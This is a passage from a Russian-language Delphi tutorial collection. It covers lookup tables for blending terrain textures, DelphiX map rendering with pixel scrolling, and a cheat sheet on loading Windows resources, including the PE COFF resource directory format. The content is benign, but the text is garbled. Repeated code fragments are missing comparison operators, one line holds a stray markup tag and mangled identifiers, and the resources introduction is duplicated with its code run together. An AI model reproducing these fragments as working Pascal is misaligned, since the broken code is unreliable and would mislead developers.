9,16,16, 0, 0,10, 9, 1),(16,16,10,12,16,16, 1,13, 4,16,16, 0,16,16, 9, 5), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16));NotEqualTable : array[0..24,0..15] of byte = (( 9, 1, 6, 8, 4, 5, 6,15, 8, 9, 1,14, 4, 5,14,15),( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,15),( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,15),( 1, 1, 6,15, 5, 5, 6,15,15, 1, 1, 6, 5, 5, 6,15),(10, 1, 2, 7, 5, 5, 6, 7,15, 1,10, 2,13,13, 6,15),( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,15), (23,23,23,23,23,23,23,23,23,23,23,23,23,23,23,23), (19,19,19,19,19,19,19,19,19,19,19,19,19,19,19,19), (24,24,24,24,24,24,24,24,24,24,24,24,24,24,24,24),( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,15),( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,15), (18,18,18,18,18,18,18,18,18,18,18,18,18,18,18,18), (16,16,16,16,16,16,16,16,16,16,16,16,16,16,16,16), (20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20),( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,15),( 4, 5,15, 8, 4, 5,15,15, 8, 4, 5, 8, 4, 5, 8,15), (22,22,22,22,22,22,22,22,22,22,22,22,22,22,22,22), (17,17,17,17,17,17,17,17,17,17,17,17,17,17,17,17), (21,21,21,21,21,21,21,21,21,21,21,21,21,21,21,21),( 2, 6, 2, 7,15,15, 6, 7,15, 6, 2, 2, 7, 7, 6,15),(12, 5, 7, 3, 4, 5,15, 7, 8, 4,15,13,12,13, 8,15),( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,15),( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,15),( 3,15, 7, 3, 8,15,15, 7, 8, 8, 7, 3, 3, 7, 8,15),(11, 6, 2, 3,15,15, 6, 7, 8,14, 2,11, 3, 7,14,15));BasicTable — используется, когда мы рисуем переходным типом земли.
EqualTable — испльзуется, когда прежняя земля в ячейке равна активной. NotEqualTable — испльзуется, когда прежняя земля в ячейке не равна активной.
Заметьте, что в таблицах иногда используется число 16, а в таблице NotEqualTable и больше. Число 16 указывает, что текстура не изменится в результате наших воздействий. Честно говоря, я просто не помню зачем я вводил числа больше 16-ти, я написал эту программу год назад. В дальнейшем в теле модуля Culculate я от этих чисел отнимаю 16, а зачем — Бог его знает. Кому охота — можете исправить, но программа работает.
Да, на первый взгляд таблицы выглядят немного устрашающе. Кто-то может спросить: Зачем громоздить такие кошмары? Неужели не найти формулу для расчета? Ведь так будет намного компактнее. Но я отвечу, что программы на ассемблере выглядят тоже страшновато, зато работают намного быстрее, чем на других языках. Может и есть формула, но я уверен, что она непростая, а стало быть работать будет намного медленнее чем простое обращение к массиву.
procedure TMatrix5.Culculate(X,Y : Integer ; BrushIndex : Integer ); var i : Integer; BaseIndex, AdditionalIndex : Integer; Begin // Заполнить матрицу считав значения с карты Self.Fill(X,Y); if BrushIndex = 3 then // Если рисуем переходной землей begin Vector[12] := 15;// Заносим центральный элемент for i := 0 to 24 do begin // Получить тип земли в виде индекса(0,1,2) BaseIndex := GetBaseIndex(Vector[i]); // и прежний номер переходной текстуры AdditionalIndex := GetAdditionalIndex(Vector[i]); // Если число в таблице BasicTable не равно 16 то, // к индексу типа земли умноженному на 16 // прибавляем новое смещение // и заносим в Vector // ,иначе ничего не меняется if BasicTable[i,AdditionalIndex] <> 16 then Vector[i] := BaseIndex*16 + BasicTable[i,AdditionalIndex]; end; end { Конец обработки варианта "Переходная земля"} else // Иначе, если рисуем не переходной землей begin Vector[12] := BrushIndex*16;// Заносим центральный элемент for i := 0 to 24 do begin // Получить тип земли в виде индекса(0,1,2) BaseIndex := GetBaseIndex(Vector[i]); // и прежний номер переходной текстуры AdditionalIndex := GetAdditionalIndex(Vector[i]); // Если прежняя земля имеет тот же тип, что и активная if BaseIndex = BrushIndex then begin // Если число в таблице EqualTable не равно 16 то, // к индексу типа земли умноженному на 16 // прибавляем новое смещение // и заносим в Vector // ,иначе ничего не меняется if EqualTable[i,AdditionalIndex] <> 16 then Vector[i] := BaseIndex*16 + EqualTable[i,AdditionalIndex]; end else // Если заменяемая и замещающая земля имеют разные типы begin // Если число в таблице NotEqualTable не равно 16 то, // к индексу типа земли умноженному на 16 // прибавляем новое смещение // и заносим в Vector // ,иначе ничего не меняется if NotEqualTable[i,AdditionalIndex] <16 then vector[i] :=BaseIndex*16 + notequaltable[i,additionalindex] < code> else if NotEqualTable[i,AdditionalIndex] > 16 then Vector[i] := BrushIndex*16+ NotEqualTable[i,AdditionalIndex] - 16; end; end; end;end; Разберем все по полочкам: Первая строчка Self.Fill(X,Y); заполняет матрицу 5х5 значениями считанными с карты. Дальше следует такой кусок кода:
if BrushIndex = 3 then begin Vector[12] := 15; for i := 0 to 24 do begin BaseIndex := GetBaseIndex(Vector[i]); AdditionalIndex := GetAdditionalIndex(Vector[i]); if BasicTable[i,AdditionalIndex] 16 then Vector[i] := BaseIndex*16 + BasicTable[i,AdditionalIndex]; end;endВ нем мы рассчитываем случай, когда рисуем переходным типом земли — ЗЕМЛЯ (if BrushIndex = 3 then). Строка Vector[12] := 15; заносит в центральный элемент №12 цельную текстуру активной земли, для нашего случая это могут быть числа 15,31,47. Как мы помним именно под этими номерами в нашем ImageListe находятся цельные текстуры ЗЕМЛИ. Далее в цикле, для каждого элемента взятого с карты и положенного в матрицу ( в данном виде – в вектор, для упрощения организации цикла) получаем индекс типа земли (BaseIndex := GetBaseIndex(Vector[i]);), получаем номер переходной текстуры (AdditionalIndex := GetAdditionalIndex(Vector[i]);), и лезем в соответствующую таблицу (входные параметры которой это номер ячейки i и номер переходной текстуры AdditionalIndex). Если на выходе получим число 16, то ничего не меняем, если другое число, то индекс типа земли умножаем на 16 – это номер цельной текстуры данного типа земли, и прибавляем число полученное из таблицы — это новый номер переходной текстуры.
Рисунок 8
Как видно из рисунка 8, если в матрице 5×5 лежит в некоторой ячейке число 20, то индекс переходной текстуры будет равен 4 (20 mod 16), индекс типа земли равен 1 (20 div 16), а индекс цельной текстуры земли равен 16 (Индекс типа земли * 16). Номер ячейки, где лежит число 20, и индекс переходной текстуры (4) — входные параметры в таблицу BaseTable. Если мы на выходе получим, к примеру число 8, то нужно к индексу цельной текстуры прибавить 8, чтобы получить индекс новой переходной текстуры. ( Индекс типа земли * 16 + 8 = 24 ) Это будет новое число, которое мы поместим на карту.
Следующий кусок кода:
else begin Vector[12] := BrushIndex*16; for i := 0 to 24 do begin BaseIndex := GetBaseIndex(Vector[i]); AdditionalIndex := GetAdditionalIndex(Vector[i]); if BaseIndex = BrushIndex then begin if EqualTable[i,AdditionalIndex] 16 then Vector[i] := BaseIndex*16 + EqualTable[i,AdditionalIndex]; end else begin if NotEqualTable[i,AdditionalIndex] else if NotEqualTable[i,AdditionalIndex]> 16 then Vector[i] := BrushIndex*16+ NotEqualTable[i,AdditionalIndex] – 16; end; end; end;end;Делает все то же самое, для двух оставшихся случаев. Голубым выделены те строчки, которые по моему мнению можно удалить, но при этом исправить в таблице NotEqualTable числа больше 16 на эти же числа минус 16. Все, с технологией покончено!!!
Следующие страницы я посвящу некоторым особенностям вывода карты на экран в моем примере. Кого интересовала только технология расчета плавных перетеканий текстур, дальше, если нет желания, могут не читать.
Как я уже говорил, в примере я использовал компоненты для DirectX, написанные каким-то хорошим китайцем. Имя у него соответственно самое что ни на есть китайское, по этому я его не помню.
Конкретно для вывода карты на экран использовались компоненты TDXDraw, TDXImageList и TDXTimer.
TDXDraw — в основном используется для переключения страниц видеопамяти. Что это такое объяснять не буду.
TDXImageList — хранит в качестве элементов файлы со спрайтами выстроенными в одну цепочку. Соответственно к конкретному спрайту можно обратится по имени файла и номеру спрайта в нем. Также в этом компоненте есть две переменные PatternWidth, PatternHeight для указания ширины и высоты спрайтов, и переменная TransparentColor для указание прозрачного цвета.
TDXTimer — используется для генерации события DXTimerTimer с частотой заданной или рассчитанной в ходе выполнения программы.
Итак, текстуры выполнены в виде одного файла внутри которого выстроены в цепочку в соответствии с принципами изложенными выше и помещены в TDXImageList под именем "West". ( TDXImageList позволяет находить файлы внутри себя по их имени)
Нам нужно вывести на экран некоторую часть карты, причем карта наша состоит из кусочков и нам нужно вывести только те кусочки, которые видны в данный момент.
Можно сделать окно вывода кратным размеру текстур, а скроллинг организовать потекстурно с шагом равным ширине/высоте текстуры, тогда нет проблем, но это смотрится не очень красиво. Наша задача состоит в том, чтобы организовать скроллинг попиксельно и дать возможность задать окно вывода любого размера. Для того, чтобы это сделать нужно рассчитать сколько текстур по горизонтали и сколько текстур по вертикали мы должны отрисовать в окне вывода, включая и те текстуры которые в данный момент времени видны только частично.
Рисунок 9
На рисунке 9 клеточками изображена карта. Черным контуром показано окно вывода. Как видно – не все ячейки карты целиком влезли в окно, но их тоже надо отрисовать. Положение окна вывода на карте определяется координатами его левого верхнего угла относительно карты.( TopLeftCorner.x, TopLeftCorner.y) Их величины в пикселях(Нам же надо сделать попиксельный скроллинг) При создании новой карты они приравниваются нулям, и в дальнейшем определяются положением полос прокрутки. Вот часть кода:
procedure TMainForm.RedrawMap;Var OffsPoint : TPoint; TopLeftElem : TPoint; ElemCount : TPoint; HelpVar1 : Integer; HelpVar2 : Integer; i,j : Integer; x,y : Integer; Index : Integer;begin OffsPoint.x := TopLeftCorner.x mod ElemWidth; OffsPoint.y := TopLeftCorner.y mod ElemHeight;Данные две строчки позволяют получить смешение левого верхнего угла экрана внутри левой верхней ячейки(См. рисунок 9). Глобальные переменные ElemWidth,ElemHeight это высота и ширина ячейки(текстуры). Теперь нам необходимо получить номер строки и столбца ячейки где находится левый верхний угол окна вывода:
TopLeftElem.x := TopLeftCorner.x div ElemWidth;TopLeftElem.y := TopLeftCorner.y div ElemHeight;Далее необходимо рассчитать сколько у нас целых текстур влезает в окно вывода по вертикали и горизонтали:
HelpVar1 := DXDraw.Width – (ElemWidth – OffsPoint.x );HelpVar2 := DXDraw.Height – (ElemHeight – OffsPoint.y );ElemCount.x := HelpVar1 div ElemWidth;ElemCount.y := HelpVar2 div Elemheight;Где DXDraw.Width, DXDraw.Height – это ширина и высота окна вывода. Если у нас есть нецелые текстуры снизу и справа окна вывода, то добавляем к ElemCount.x, ElemCount.y по единице:
if (HelpVar1 mod ElemWidth)> 0 Then Inc( ElemCount.x );if (HelpVar2 mod ElemHeight)> 0 Then Inc( ElemCount.y );Далее следует вывод на экран:
For j := 0 to ElemCount.y do For i := 0 to ElemCount.x do Begin // Вычислить координаты куда выводить X := i * ElemWidth – OffsPoint.x; Y := j * ElemHeight – OffsPoint.y; // Вычислить номер текстуры Index := GetElement(TopLeftElem.X + i,TopLeftElem.Y + j); // Вывести текстуру на экран // Учтите что LandType это не тип земли, а тип мира // Snow,West и т.д. ImageList.Items.Find(LandType).Draw(DXDraw.Surface,x,y,Index);end;Строка: Index := GetElement(TopLeftElem.X + i,TopLeftElem.Y + j); обращается к матрице карты и считывает оттуда номер текстуры, следующая строка выводит ее на экран.
Возможно вы спросите: А как же нецелые текстуры слева и сверху окна вывода? Их-то ты не учел? Посмотрите на кусок кода отвечающий за вывод на экран. Циклическая переменная инициализируется от 0 до ElemCount.(x,y). Это значит, что всегда выводится на одну текстуру больше, чем в ElemCount, а если слева и сверху нет нецелых текстур, то переменная OffsPoint.(x,y) будет равна размерам ячейки. Переменные HelpVar(1,2) станут на размер ячейки меньше, и следовательно переменные ElemCount.(x,y) станут на единицу меньше. Все. Смотрите исходники в модуле Main.pas.
В программе не отловлены все баги. Например определен только один тип мира "West", да и текстуры нарисованы чисто схематически.
Исходные тексты Вы можете скачать тут , а библиотеку DelphiX найдете на сайте DelphiGFX в разделе Libs.
Шпаргалка по ресурсам Windows-32 (для Delphi)Этот текст — попытка сжатого ответа на большинство заданных в конференции вопросов по ресурсам Windows. Возможно, Вы найдете здесь (в неявном виде) объяснение части связанных с ресурсами сложностей в Delphi.
Стандартная технология доступа к ресурсам
Для компиляции примера надо создать на диске перечисленные исходные файлы (все в текстовом формате). Я не привел примеров для ресурсов типа BitMap`ов, Icon`ов и курсоров, поскольку обращения к ним достаточно тривиальны и не содержат каких-либо неоднозначностей, и, во-вторых, они (декларации ресурсов) недостаточно компактно записываются в виде текста.
Файл `#_Msg.Ini`
Список строк в текстовом файле
msgHello= Здавствуйте !
msgBye= До свидания …
Файл `#_Msg.RC`
Скрипт компилятора ресурсов. В двоичном ресурсе с именем RC1 записана ASCIIz-строка `QWERTY`.
RC1 RCDATA
{
'51 57 45 52 54 59 00'
}
STRINGTABLE
{
1000, "Здравствуйте ."
1001, "До свидания ..."
}
Файл `Proj_L.Dpr`:
Мы используем Delphi как линкер, чтобы дописать стандартный заголовок исполняемых файлов Windows к файлу `#_Msg.Res`. Последний делается компилятором ресурсов из скрипта `#_Msg.RC`. IDE может ругаться при загрузке этого проекта из-за отсутствия секции `uses` —дура.
{$IMAGEBASE $40000000}
{$APPTYPE CONSOLE}
library Proj_L;
{$R #_MSG.RES}
BEGIN
END.
Файл `Make_DLL.Bat`:
Компилируем скрипт `#_Msg.RC` в файл `#_Msg.Res`; компилируем и линкуем проект `Proj_L.Dpr`. Получаем файл `Proj_L.Dll`.
rem –- may be used BRC32 or BRCC32
rem c:\del3\bin\brc32 –r #_msg.rc
c:\del3\bin\brcc32 #_msg.rc
c:\del3\bin\dcc32 /b proj_l.dpr
pause
Файл `Proj.Dpr`
{$APPTYPE GUI}
{$D+,O-,S-,R-,I+,A+,G+}
{$IfOpt D-} {$O+} {$EndIf}
program Proj;
{$IfNDef WIN32}
error: it works only under Win32
{$EndIf}
uses
Windows,
SysUtils,
Classes;
{//////////////////////////////////////////////}
procedure i_MsgBox( const ACap,AStr:String );
{ service routine: simple message-box }
begin
Windows.MessageBox( 0, pChar(AStr), pChar(ACap),
MB_OK or MB_ICONINFORMATION );
end;
{///// TestSList ////}
procedure TestSList;
{ load strings from ini-file via tStringList }
const
cFName = '#_MSG.INI';
var
qSList : tStringList;
begin
qSList := tStringList.Create;
with qSList do try
LoadFromFile( ExtractFilePath(ParamStr(0))+cFName );
i_MsgBox( 'strings collection via VCL:',
Trim(Values['msghello'])+#13+Trim(Values['MSGBYE']) );
finally Free;
end;
end;
{//// TestBuiltInStrRes ////}
RESOURCESTRING
sMsgHello = 'ЯВЕРТЫяверты';
sMsgBye = 'явертыЯВЕРТЫ';
procedure TestBuiltInStrRes;
{ load strings from resources via Delphi`s Linker }
begin
i_MsgBox( 'built-in string resources:', sMsgHello+#13+sMsgBye );
end;
{//////////////////////////////////////////////}
type
tFH_Method = procedure( AFHandle:tHandle );
{ `AFHandle` must be a handle of instance of image (of memory-map)
of a PE-file (EXE or DLL) }
procedure i_Call_FH_Method( AProc:tFH_Method );
{ it is wrapper to load and free a instance of binary
file with resource; also it calls to "AProc()" with
given instance-handle }
const
cLibName = 'PROJ_L.DLL';
var
qFHandle : tHandle;
begin
qFHandle := Windows.LoadLibrary(
pChar(ExtractFilePath(ParamStr(0))+cLibName) );
if qFHandle=0 then
i_MsgBox( 'Error loading library',
Format('Code# %xh',[Windows.GetLastError]) )
else
try AProc( qFHandle );
finally Windows.FreeLibrary( qFHandle );
end;
end;
{//// TestBinRes_WinAPI ////}
procedure TestBinRes_WinAPI( AFHandle:tHandle );
{ loading binary resource via usual windows-API }
var
qResH,
qResInfoH : tHandle;
begin
qResInfoH := Windows.FindResourceEx( AFHandle , RT_RCDATA, 'RC1', 0 );
qResH := Windows.LoadResource( AFHandle, qResInfoH );
try i_MsgBox( 'binary resource (Win API):',
pChar(Windows.LockResource(qResH)) );
finally Windows.FreeResource( qResH );
end;
end;
{//// TestBinRes_VCLStream ////}
procedure TestBinRes_VCLStream( AFHandle:tHandle );
{ loading binary resource via VCL`s stream }
var
qResStream : tResourceStream;
begin
qResStream := tResourceStream.Create( AFHandle, 'RC1', RT_RCDATA );
try i_MsgBox( 'binary resource (VCL stream):',
pChar(qResStream.Memory) );
finally qResStream.Free;
end;
end;
{//// TestStrRes_WinAPI ////}
procedure TestStrRes_WinAPI( AFHandle:tHandle );
{ loading string resource via usual windows-API }
const
cBufSize = 512;
var
qBuf : array[0..1,0..cBufSize-1]of Char;
begin
Windows.LoadStringA( AFHandle, 1000, qBuf[0], cBufSize );
Windows.LoadStringA( AFHandle, 1001, qBuf[1], cBufSize );
i_MsgBox( 'string resources (Win API):',
StrPas(qBuf[0])+#13+StrPas(qBuf[1]) );
end;
BEGIN
TestSList;
TestBuiltInStrRes;
i_Call_FH_Method( TestBinRes_WinAPI );
i_Call_FH_Method( TestBinRes_VCLStream );
i_Call_FH_Method( TestStrRes_WinAPI );
END.
Замечания:
• Rесурсы частично вынесены во внешнюю DLL только для демонстрации, поскольку большинство вопросов в конференции подразумевает именно такое их использование.
• Если ресурсы слинкованы не в отдельную DLL, а в исполняемый файл проекта, в параметре AFHandle надо везде передавать `0` или значение переменной System.HInstance.
• Вместо функции Windows.FindResource() я предпочитаю FindResourceEx() с лишним явным параметром — `LanguageId`. Дело в том, что первая не всегда находит ресурсы, сделанные борландовскими компиляторами — семантика LanguageId по умолчанию определена MS не совсем однозначно.
• Для однозначности, я явно указал имя функции Windows.LoadStringA(). В NT работает еще функция LoadStringW(), которая возвращает строки UNICODE. В Win95 LoadStringW() возвращает код ошибки `not implemented`.
Внутренний формат ресурсов Windows
В каталоге DELPHI\DEMOS\RESXPLOR есть пример работы с ресурсами Windows на самом `фундаментальном` уровне — непосредствено с форматом PE COFF (Portable Executable Common Object File Format) для Win32. Данный раздел написан, в основном, для тех, кто захочет разобраться в этом стандартном примере Delphi.
Сами по себе ресурсы — индексированный набор данных с записями переменной длины. Чтобы конкретную запись ресурса можно было найти, у нее есть один из двух идентификаторов — имя (строка символов UNICODE) или целое число. Целыми числами идентифицируются, например, каталоги стандартных типов ресурсов и строки в таблицах. Большинство записей ресурсов стандартных типов идентифицируются именами. Практически, в именах ресурсов разумно использовать только подмножетсво стандартных символов ASCII (коды от 0 до 255). Описание стандартных типов ресурсов Windows можно посмотреть в on-line help`е любой IDE C или Delphi. Любопытно, что способ идентификации ресурса ( целое число или ссылка на имя ) специфицирован, скорее, не на уровне стандарта, а на уровне принятых соглашений. Для поиска ресурса мы, в общем случае, задаем три параметра:
• Тип — один из стандартных кодов типа ресурса. В вызовах API это может быть либо адресом строки, содержащей одно из стандартных имен, либо — одна из констант RT_xxx из DELPHI\SOURCE\RTL\WIN\WINDOWS.PAS.
• Идентификатор. В зависимости от типа ресурса, это может быть целое число или имя.
• Язык ресурса. Кодируется целым числом.
Формат ресурсов PE COFF ориентирован чтобы:
– максимально быстро находить нужный ресурс по указаным трем параметрам,
– расположить ресурсы достаточно компактно,
– переносить скомпилированные ресурсы между процессорами с разными правилами адресации.
Далее используется термин RVA (relative virtual address), я его поясню. Все адреса в защищенных многозадачных системах (не только на x286..586) обычно делаются `виртуальными`: То есть, пользовательское приложение не должно иметь шанс узнать что-либо о физических адресах — иначе оно теоретически может разрушить любую защиту операционной системы. В Windows строгой защиты в этом смысле нет, но есть еще одна причина `виртуальности` адресов — динамическая загрузка/выгрузка данных из ОЗУ на диск для организации виртуальной памяти. Процессор аппаратно, `на лету`, транслирует виртуальные адреся в физические по таблицам, созданным ядром операционной системы.
Теперь о слове `relative`. Операционной системе, по большому счету, без разницы, какой именно виртуальный адрес дать первому байту образа исполняемого файла в ОЗУ. А линкеру и самой программе, в ряде случаев, удобнее работать с конкретным значением. Оно называется `ImageBase`; линкер записывает его в заголовке PE-файла. По техническим причинам, оно не может быть произвольным для Windows-программ. В Delphi есть директива `{$ImageBase …}`. Так вот, RVA объекта – это его смещение относительно значения `ImageBase`. Обычный адрес объекта (он, кстати, тоже виртуальный) есть сумма значений глобальной переменной `ImageBase` и `RVA` данного объекта.
В тексте использована ассемблерная мнемоника: `DD` и `DW` (Define Double и Define Word), что означает, соответственно, 32– и 16-разрядное слово. Символ `|` означает `или`, `либо`.
Описание формата ресурсов в MS PE COFF.
Я делаю сокращенное изложение фрагмента документации PE COFF. Я полагаю, этого более-менее достаточно, чтобы разобраться, при желании, с текстом примера Delphi. Файл PE.TXT (author Micheal J. O'Leary) взят из документации Microsoft C. Он же входит в MS Software Developers Kit (SDK) и в комплект поставки большинства компиляторов C для Win32. Если Вам интересно положение корневого каталога ресурсов в заголовке PE COFF или более подробный формат заголовка – можно смотреть исходные тексты проекта проекта RSEXPLOR или, разумеется, сам первоисточник — PE.TXT
Ресурсы индексированы как многоуровневое двоичное дерево. Технологически возможно 2**31 уровней, но в Windows стандартно используются только три: первый — TYPE (тип), далее — NAME (имя), далее — LANGUAGE (язык). Ресурсы должны быть отсортированы по определенным правилам – для ускорения поиска.
Типичное расположение ресурсов в файле: сначала лежит `RESOURCE DIRECTORY` (каталог/каталоги ресурсов), затем – `RESOURCE DATA` (собственно данные ресурсов).
Каталог ресурсов довольно похож, по структуре, на каталоги дисков. Он содержит записи (`DIR ENTRIES` – см. далее), которые указывают либо на ресурсы, либо на другие каталоги (точнее – подкаталоги) ресурсов. В отличие от дисков, сами данные не разносятся по кластерам, а наоборот – их стараются плотнее прижать друг к другу, поскольку никто не собирается вставлять туда дополнительные данные после сборки (линковки) исполняемого файла.
Каталог ресурсов начинается с заголовка (четыре 32-битных слова):
DD RESOURCE FLAGS
DD TIME/DATE STAMP
DW MAJOR VERSION, DW MINOR VERSION
DW # NAME ENTRY, DW # ID ENTRY
декларация в RXTypes.Pas:
IMAGE_RESOURCE_DIRECTORY = packed record
Characteristics : DWORD;
TimeDateStamp : DWORD;
MajorVersion : WORD;
MinorVersion : WORD;
NumberOfNamedEntries : WORD;
NumberOfIdEntries : WORD;
end;
Здесь важны два поля: `# NAME ENTRY` — число точек входа, имеющих имена, и `# ID ENTRY` — число точек входа, имеющих вместо имен целочисленные идентификаторы.
За заголовком следует массив из записей `RESOURCE DIR ENTRIES` (точек входа каталога). Там лежат `# NAME ENTRY`+ `# ID ENTRY` записей типа `DIR ENTRY`. Формат записи `DIR ENTRY` — два 32-битных слова:
DD NAME RVA | INTEGER ID
DD DATA ENTRY RVA | SUBDIR RVA
декларация в RXTypes.Pas:
IMAGE_RESOURCE_DIRECTORY_ENTRY = packed record
Name: DWORD; // Or ID: Word (Union)
OffsetToData: DWORD;
end;
Первое поле содержит либо `NAME RVA` — адрес строки (UNICODE) с именем, либо — `INTEGER ID` – целочисленный идентификатор. `INTEGER ID` может быть, например, одним из стандартных кодов типа ресурса или заданным пользователем кодом строки в таблице строк.
Самый старший бит второго поля (31-й бит) называется `Escape-флагом`. Если он установлен в `1`, считается что данная `DIR ENTRY` — ссылка на другой подкаталог ресурсов. Если сброшен в `0` — данная запись ссылка на данные ресурса. Понятно, при вычислении адреса этот бит всегда должен считаться `0`.
Строка, на которую указывает `NAME RVA`, очень похожа на паскалевскую short-string, только вместо байтов она состоит из 16-битные слов. Самое первое слово – длина строки, за ним лежат 16-битные символы UNICODE. Физически линкер кладет эти строки переменной длиины между каталогами и собственно данными ресурсов.
Понятно, что `SUBDIR RVA` указывает на совершенно аналогичную таблицу подкаталога.
`DATA ENTRY RVA` указывает на запись `RESOURCE DATA ENTRY` такого вида:
DD DATA RVA
DD SIZE
DD CODEPAGE
DD RESERVED
декларация в RXTypes.Pas:
IMAGE_RESOURCE_DATA_ENTRY = packed record
OffsetToData : DWORD;
Size : DWORD;
CodePage : DWORD;
Reserved : DWORD;
end;
`DATA RVA` — адрес бинарных данных, `SIZE` — их размер. `CODEPAGE` (кодовая страницa) обычно имеет снысл только для строковых ресурсов. Оговаривается, что в Win32 это должна быть одна из стандартных страниц UNICODE. Сами бинарные данные могут жить либо прямо за полем `RESERVED`, либо где-то в другом месте — смотря куда линкер их положит.
Дамп памяти (взят из PE.TXT)
Далее я привожу целиком фрагмент файла PE.TXT. Это — конкретный пример размещения ресурсов с подробным дампом памяти.
The following is an example for an app. which wants to use the following data as resources:
TypeId# NameId# Language ID Resource Data
00000001 00000001 0 00010001
00000001 00000001 1 10010001
00000001 00000002 0 00010002
00000001 00000003 0 00010003
00000002 00000001 0 00020001
00000002 00000002 0 00020002
00000002 00000003 0 00020003
00000002 00000004 0 00020004
00000009 00000001 0 00090001
00000009 00000009 0 00090009
00000009 00000009 1 10090009
00000009 00000009 2 20090009
Then the Resource Directory in the Portable format looks like:
Offset Data
0000: 00000000 00000000 00000000 00030000 (3 entries in this directory)
0010: 00000001 80000028 (TypeId #1, Subdirectory at offset 0x28)
0018: 00000002 80000050 (TypeId #2, Subdirectory at offset 0x50)
0020: 00000009 80000080 (TypeId #9, Subdirectory at offset 0x80)
0028: 00000000 00000000 00000000 00030000 (3 entries in this directory)
0038: 00000001 800000A0 (NameId #1, Subdirectory at offset 0xA0)
0040: 00000002 00000108 (NameId #2, data desc at offset 0x108)
0048: 00000003 00000118 (NameId #3, data desc at offset 0x118)
0050: 00000000 00000000 00000000 00040000 (4 entries in this directory)
0060: 00000001 00000128 (NameId #1, data desc at offset 0x128)
0068: 00000002 00000138 (NameId #2, data desc at offset 0x138)
0070: 00000003 00000148 (NameId #3, data desc at offset 0x148)
0078: 00000004 00000158 (NameId #4, data desc at offset 0x158)
0080: 00000000 00000000 00000000 00020000 (2 entries in this directory)
0090: 00000001 00000168 (NameId #1, data desc at offset 0x168)
0098: 00000009 800000C0 (NameId #9, Subdirectory at offset 0xC0)
00A0: 00000000 00000000 00000000 00020000 (2 entries in this directory)
00B0: 00000000 000000E8 (Language ID 0, data desc at offset 0xE8
00B8: 00000001 000000F8 (Language ID 1, data desc at offset 0xF8
00C0: 00000000 00000000 00000000 00030000 (3 entries in this directory)
00D0: 00000001 00000178 (Language ID 0, data desc at offset 0x178
00D8: 00000001 00000188 (Language ID 1, data desc at offset 0x188
00E0: 00000001 00000198 (Language ID 2, data desc at offset 0x198
00E8: 000001A8 (At offset 0x1A8, for TypeId #1, NameId #1, Language id #0
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
00F8: 000001AC (At offset 0x1AC, for TypeId #1, NameId #1, Language id #1
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0108: 000001B0 (At offset 0x1B0, for TypeId #1, NameId #2,
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0118: 000001B4 (At offset 0x1B4, for TypeId #1, NameId #3,
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0128: 000001B8 (At offset 0x1B8, for TypeId #2, NameId #1,
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0138: 000001BC (At offset 0x1BC, for TypeId #2, NameId #2,
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0148: 000001C0 (At offset 0x1C0, for TypeId #2, NameId #3,
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0158: 000001C4 (At offset 0x1C4, for TypeId #2, NameId #4,
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0168: 000001C8 (At offset 0x1C8, for TypeId #9, NameId #1,
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0178: 000001CC (At offset 0x1CC, for TypeId #9, NameId #9, Language id #0
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0188: 000001D0 (At offset 0x1D0, for TypeId #9, NameId #9, Language id #1
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
0198: 000001D4 (At offset 0x1D4, for TypeId #9, NameId #9, Language id #2
00000004 (4 bytes of data)
00000000 (codepage)
00000000 (reserved)
And the data for the resources will look like:
01A8: 00010001
01AC: 10010001
01B0: 00010002
01B4: 00010003
01B8: 00020001
01BC: 00020002
01C0: 00020003
01C4: 00020004
01C8: 00090001
01CC: 00090009
01D0: 10090009
01D4: 20090009
Этот текст — попытка сжатого ответа на большинство заданных в конференции вопросов по ресурсам Windows. Возможно, Вы найдете здесь (в неявном виде) объяснение части связанных с ресурсами сложностей в Delphi.
Стандартная технология доступа к ресурсам
Для компиляции примера надо создать на диске перечисленные исходные файлы (все в текстовом формате). Я не привел примеров для ресурсов типа BitMap`ов, Icon`ов и курсоров, поскольку обращения к ним достаточно тривиальны и не содержат каких-либо неоднозначностей, и, во-вторых, они (декларации ресурсов) недостаточно компактно записываются в виде текста.
Файл `#_Msg.Ini`
Список строк в текстовом файле
msgHello= Здавствуйте ! msgBye= До свидания …Файл `#_Msg.RC`
Скрипт компилятора ресурсов. В двоичном ресурсе с именем RC1 записана ASCIIz-строка `QWERTY`.
RC1 RCDATA{'51 57 45 52 54 59 00'}STRINGTABLE{1000, "Здравствуйте ."1001, "До свидания ..."}Файл `Proj_L.Dpr`:
Мы используем Delphi как линкер, чтобы дописать стандартный заголовок исполняемых файлов Windows к файлу `#_Msg.Res`. Последний делается компилятором ресурсов из скрипта `#_Msg.RC`. IDE может ругаться при загрузке этого проекта из-за отсутствия секции `uses` —дура.
{$IMAGEBASE $40000000} {$APPTYPE CONSOLE}library Proj_L;{$R #_MSG.RES}BEGIN END.Файл `Make_DLL.Bat`:
